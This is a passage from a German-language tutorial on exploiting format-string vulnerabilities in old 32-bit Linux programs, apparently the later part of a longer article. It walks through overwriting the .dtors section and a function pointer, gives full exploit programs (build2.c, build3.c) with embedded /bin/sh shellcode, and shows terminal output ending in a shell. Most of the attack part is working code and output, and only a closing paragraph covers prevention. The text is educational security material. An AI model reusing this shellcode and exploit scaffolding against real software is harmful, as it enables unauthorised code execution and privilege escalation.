In diesem Artikel haben wir bis jetzt gezeigt, dass Format-Bugs wirklich eine Sicherheitsl�cke sind. Und wir haben gesehen, wie man sie exploitet. Buffer-Overflows basieren darauf, die R�cksprungadresse eines Unterprogramms zu �berschreiben. Au�erdem muss man mit viel Gl�ck und Gebeten die richtigen Werte finden. Wir haben gesehen, dass man dieses Problem bei Format-Bugs nicht hat - und man ist auch nicht auf das �berschreiben von R�cksprungadressen beschr�nkt.

Wie gesehen k�nnen wir mit den Format-Strings �berall hin schreiben. Wir betrachten nun ein Beispiel f�r einen Exploit, der die .dtors-Section nutzt.

Wenn ein Programm mit gcc kompiliert wird, findet man nachher im Programm sowohl einen Konstruktor (.ctors-Section) als auch einen Destruktor (.dtors-Section). Diese Sections enthalten Zeiger auf Unterprogramme, die vor bzw. nach dem main-Programm ausgef�hrt werden:

/* cdtors */

void start(void) __attribute__ ((constructor));
void end(void) __attribute__ ((destructor));

int main() {
  printf("in main()\n");
}

void start(void) {
  printf("in start()\n");
}

void end(void) {
  printf("in end()\n");
}
Unser kleines Programm zeigt den Mechanismus:
>>gcc cdtors.c -o cdtors
>>./cdtors
in start()
in main()
in end()
Diese Sections haben beiden denselben Aufbau:
>>objdump -s -j .ctors cdtors

cdtors:     file format elf32-i386

Contents of section .ctors:
 804949c ffffffff dc830408 00000000           ............    
>>objdump -s -j .dtors cdtors

cdtors:     file format elf32-i386

Contents of section .dtors:
 80494a8 ffffffff f0830408 00000000           ............
Wir sehen, dass jeweils das dritte WORD (in little endian) die Adresse unseres Unterprogramms (start und end) ist:
>>objdump -t cdtors | egrep "start|end"
080483dc g     F .text  00000012              start
080483f0 g     F .text  00000012              end
Die Sections beinhalten also die Adressen, eingerahmt in 0xffffffff und 0x00000000.

Nun wenden wir das auf unser vuln-Programm an, wobei wir einen Format-String einsetzen. Zuerst ben�tigen wir die Adressen, unter denen die Sections im Speicher stehen. Das ist wirklich leicht, da wir das Binary haben ;-). Wir setzen einfach wie eben objdump ein:

>> objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 8049844 ffffffff 00000000                    ........        
Da isses! Wir haben alles was wir brauchen.

Das Ziel des Exploits besteht darin, die Adresse eines Unterprogramms in einer der Sections durch die des Unterprogramms zu ersetzen, das wir starten wollen. Wenn die Sections leer sind, �berschreiben wir einfach die Endemarke der Sections (0x00000000). Das erzeugt sp�ter einen segmentation fault, da das Programm seinen 0x00000000 Marker nicht findet, und den n�chsten Wert als Zeiger auf ein Unterprogramm wertet, was nicht unbedingt zutrifft.

Eigentlich ist der einzig interessante Abschnitt der destructor (.dtors): Wir haben keine Zeit irgendetwas von dem Constructor (.ctors) zu machen. Normalerweise ist es genug, die Adresse 4 Bytes nach dem Start des Abschnittes 0xffffffff zu setzen:



Nun zur�ck zu unserem Beispiel. Wir ersetzten 0x00000000 im Abschnitt .dtors und plazierten dort 0x8049848=0x8049844+4 mit der Adresse der accesForbidden() Funktion, die wir schon kennen (0x8048664):

>./vuln `./build 0x8049848 0x8048664 3`
adr : 134518856 (8049848)
val : 134514276 (8048664)
valh: 2052 (0804)
vall: 34404 (8664)
[JH%.2044x%3$hn%.32352x%4$hn] (33)
argv2 = bffff694 (0xbffff51c)
helloWorld() = 0x8048648
accessForbidden() = 0x8048664

before : ptrf() = 0x8048648 (0xbffff434)
buffer = [JH000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000] (127)
after : ptrf() = 0x8048648 (0xbffff434)
Welcome in "helloWorld"
You shouldn't be here "accesForbidden"
Segmentation fault (core dumped)
Alles l�uft wunderbar: erst main() dann helloWorld() und exit. Der Destructor wird aufgerufen und der Abschnitt .dtors f�ngt mit der Adresse von accesForbidden() an. Da es dort keine richtige andere Adresse einer Funktion gibt, erh�lt man den erwarteten Coredump.

Eine Shell bitte

Das war eine einfache Ausnutzung eines Sicherheitslochs. Nach dem gleichen Prinzip kann man eine Shell erhalten. Man kann den Shellcode entweder �ber argv[] oder �ber eine Umgebungsvariable �bergeben. Wir m�ssen nur die richtige Adresse setzen (z.B die Adresse der eggshell) im Abschnitt .dtors.

Bis jetzt wissen wir:

In der Realit�t ist das verletzbare Programm oft nicht so einfach und sympatisch wie unser Beispiel. Wir benutzen daher eine neue Methode, die es uns erlaubt, den Shellcode in den Speicher zu schreiben und dann seine exakte Adresse zu finden (das hei�t keine NOPs mehr am Anfang des Shellcodes).

Die Idee basiert auf rekursiven Aufrufen der Funktion exec*():

/* argv.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


main(int argc, char **argv) {

  char **env;
  char **arg;
  int nb = atoi(argv[1]), i;

  env    = (char **) malloc(sizeof(char *));
  env[0] = 0;
  
  arg    = (char **) malloc(sizeof(char *) * nb);
  arg[0] = argv[0];
  arg[1] = (char *) malloc(5);
  snprintf(arg[1], 5, "%d", nb-1);
  arg[2] = 0;

  /* printings */
  printf("*** argv %d ***\n", nb);
  printf("argv = %p\n", argv);
  printf("arg = %p\n", arg);
  for (i = 0; i<argc; i++) {
    printf("argv[%d] = %p (%p)\n", i, argv[i], &argv[i]);
    printf("arg[%d] = %p (%p)\n", i, arg[i], &arg[i]);
  }
  printf("\n");

  /* recall */
  if (nb == 0) 
    exit(0);
  execve(argv[0], arg, env);
}
Die Eingabe ist ein nb Integer und das Programm wird sich nb+1 mal rekursiv aufrufen:
>>./argv 2
*** argv 2 ***
argv = 0xbffff6b4
arg = 0x8049828
argv[0] = 0xbffff80b (0xbffff6b4)
arg[0] = 0xbffff80b (0x8049828)
argv[1] = 0xbffff812 (0xbffff6b8)
arg[1] = 0x8049838 (0x804982c)

*** argv 1 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

*** argv 0 ***
argv = 0xbfffff44
arg = 0x8049828
argv[0] = 0xbfffffec (0xbfffff44)
arg[0] = 0xbfffffec (0x8049828)
argv[1] = 0xbffffff3 (0xbfffff48)
arg[1] = 0x8049838 (0x804982c)

Wir erkennen sofort, da� die Adressen von arg und argv nach dem zweiten Aufruf sich nicht mehr ver�ndern. Wir benutzen genau diese Eigenschaft f�r unseren Angriff. Wir m�ssen nur unser build Programm leicht modifizieren, so da� es sich selbst aufruft, bevor es vuln aufruft. Auf diese Weise erhalten wir die genaue Adresse von argv und unserem Shellcode:

/* build2.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Same function as in build.c
}

int
main(int argc, char **argv) {
  
  char *buf;
  char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if(argc < 3)
    return EXIT_FAILURE;

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    execlp(argv[0], argv[0], buf, &shellcode, argv[1], argv[2], NULL);

  } else {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", argv[2]);
    buf = build(strtoul(argv[3], NULL, 16),  /* adresse */
        argv[2],
        atoi(argv[4]));              /* offset */
    
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));

    execlp("./vuln","./vuln", buf, argv[2], argv[3], argv[4], NULL);
  }

  return EXIT_SUCCESS;
}

Der Trick ist, da� wir wissen, was wir aufrufen m�ssen gem�� der Anzahl der Argumente, die unser Progamm erh�lt. Um unseren Angriff zu starten, geben wir build2 die Adresse und den Offset, wo wir schreiben wollen.

Um zum Erfolg zu kommen, m�ssen wir das genau gleiche Memory Layout zwischen den verschiedenen Aufrufen zu build2 und vuln behalten:

>>./build2 0xbffff634 3
Calling ./build2 ...
adr : -1073744332 (bffff634)
val : -1073744172 (bffff6d4)
valh: 49151 (bfff)
vall: 63188 (f6d4)
[6�ÿ¿4�ÿ¿%.49143x%3$hn%.14037x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff88f
adr : -1073744332 (bffff634)
val : -1073743729 (bffff88f)
valh: 49151 (bfff)
vall: 63631 (f88f)
[6�ÿ¿4�ÿ¿%.49143x%3$hn%.14480x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6�ÿ¿4�ÿ¿00000000000000000
000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000] (127)
after : ptrf() = 0xbffff88f (0xbffff634)
Segmentation fault (core dumped)

Warum hat das nicht funktioniert? Wir haben gesagt, wir m�ssen die exakte Kopie des Memory Layouts zwischen den zwei Aufrufen einhalten ... und wir haben es nicht getan! argv[0] (der Name des Programms) hat sich ge�ndert. Unser Programm hei�t zuerst build2 (6 bytes) und dann vuln (4 bytes). Es ist ein Unterschied von 2 Bytes, was genau der Wert ist, den man im vorherigen Beispiel sehen kann. Die Adresse des Shellcodes w�hrend des zweiten Aufrufes von build2 ist durch sc=0xbffff88f gegeben, aber die Anzeige von vuln in argv[2] ergibt 20xbffff891: unsere 2 Bytes. Um das zu l�sen, ist es genug, unser build2 in bui2 (nur 4 Bytes) umzubenenen:

>>cp build2 bui2
>>./bui2 0xbffff634 3
Calling ./bui2 ...
adr : -1073744332 (bffff634)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[6�ÿ¿4�ÿ¿%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff891
adr : -1073744332 (bffff634)
val : -1073743727 (bffff891)
valh: 49151 (bfff)
vall: 63633 (f891)
[6�ÿ¿4�ÿ¿%.49143x%3$hn%.14482x%4$hn] (34)
0 0xbffff867
1 0xbffff86e
2 0xbffff891
3 0xbffff8bf
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [6�ÿ¿4�ÿ¿000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000] (127)
after : ptrf() = 0xbffff891 (0xbffff634)
bash$ 

Wieder gewonnen: jetzt funktioniert es viel besser ;-) Die eggshell ist im Stack und wir haben die Adresse, auf die ptrf zeigt auf unseren Shellcode zeigen lassen. Nat�rlich funktioniert das nur, wenn der Stack ausf�hrbar ist.

Wir haben jedoch gesehen, da� man mit Formatstrings �berall schreiben kann. La� uns einen Destructor f�r unser Programm im Abschnitt .dtors hinzuf�gen:

>>objdump -s -j .dtors vuln

vuln:     file format elf32-i386

Contents of section .dtors:
 80498c0 ffffffff 00000000                    ........        
>>./bui2 80498c4 3
Calling ./bui2 ...
adr : 134518980 (80498c4)
val : -1073744156 (bffff6e4)
valh: 49151 (bfff)
vall: 63204 (f6e4)
[�%.49143x%3$hn%.14053x%4$hn] (34)
Calling ./vuln ...
sc = 0xbffff894
adr : 134518980 (80498c4)
val : -1073743724 (bffff894)
valh: 49151 (bfff)
vall: 63636 (f894)
[�%.49143x%3$hn%.14485x%4$hn] (34)
0 0xbffff86a
1 0xbffff871
2 0xbffff894
3 0xbffff8c2
4 0xbffff8ca
helloWorld() = 0x80486c4
accessForbidden() = 0x80486e8

before : ptrf() = 0x80486c4 (0xbffff634)
buffer = [�000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000] (127)
after : ptrf() = 0x80486c4 (0xbffff634)
Welcome in "helloWorld"
bash$ exit
exit
>>

Hier gibt es keinen coredump beim Beenden unseres Destructors. Das ist, weil unser Shellcode ein exit(0) enth�lt.

Zum Abschlu� noch ein kleines Geschenk. Hier ist build3.c, das auch zu einer Shell f�hrt, aber es kann �ber eine Umgebungsvariable eingef�hrt werden:

/* build3.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

char* build(unsigned int addr, unsigned int value, unsigned int where)
{
  //Même fonction que dans build.c
}

int main(int argc, char **argv) {
  char **env;
  char **arg;
  unsigned char *buf;
  unsigned char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

  if (argc == 3) {

    fprintf(stderr, "Calling %s ...\n", argv[0]);
    buf = build(strtoul(argv[1], NULL, 16),  /* adresse */
        &shellcode,
        atoi(argv[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    env = (char **) malloc(sizeof(char *) * 4);
    env[0]=&shellcode;
    env[1]=argv[1];
    env[2]=argv[2];
    env[3]=NULL;
    execve(argv[0],arg,env);
  } else 
  if(argc==2) {

    fprintf(stderr, "Calling ./vuln ...\n");
    fprintf(stderr, "sc = %p\n", environ[0]);
    buf = build(strtoul(environ[1], NULL, 16),  /* adresse */
        environ[0],
        atoi(environ[2]));              /* offset */
    
    fprintf(stderr, "%d\n", strlen(buf));
    fprintf(stderr, "[%s] (%d)\n", buf, strlen(buf));
    printf("%s",  buf);
    arg = (char **) malloc(sizeof(char *) * 3);
    arg[0]=argv[0];
    arg[1]=buf;
    arg[2]=NULL;
    execve("./vuln",arg,environ);
  }
    
  return 0;
}

Nochmal zur Erinnerung: Da die Umgebungsvariablen im Stack liegen, m�ssen wir darauf achten, nicht den Speicher zu modifizieren.

Hier benutzen wir die globale Variable extern char **environ um die Werte zu setzen, die wir brauchen:

  1. environ[0]: enth�lt den Shellcode;
  2. environ[1]: enth�lt die Adresse, in die wir schreiben wollen
  3. environ[2]: enth�lt den Offset.

Schl�folgerung : Wie vermeidet man format Fehler ?

Wie wir in diesem Artikel gesehen haben, entsteht das Hauptproblem durch die Freiheit des Benutzers seinen eigenen Formatstring zu bauen. Die L�sung ist ganz einfach: Schreibe niemals ein Programm, das es dem Benutzer erlaubt, seinen eigenen Formatstring zu bauen! In den meisten F�llen f�gt man einfach ein "%s" ein, wenn Funktionen wie printf(), syslog(), ..., aufgerufen werden. Falls man es �berhaupt nicht vermeiden kann, dann mu� man die Eingabe des Benutzers genau pr�fen.

Danksagung

Die Autoren danken Pascal Kalou Bouchareine f�r seine Geduld Er hat herausgefunden, warum unser Angriff nicht funktioniert hat. Seine Ideen (der exec*() Trick) und seine Ermutigungen haben sehr geholfen ;-)

Links


Fu�noten

... commands1
Das Wort Anweisung bezieht sich hier auf alles, was das Format eines Strings betrifft: Die L�nge, Pr�zisionsangabe bei Zahlen, ...
... bytes2
Die -1 kommt von dem Null Character ('\0') f�r das Stringende.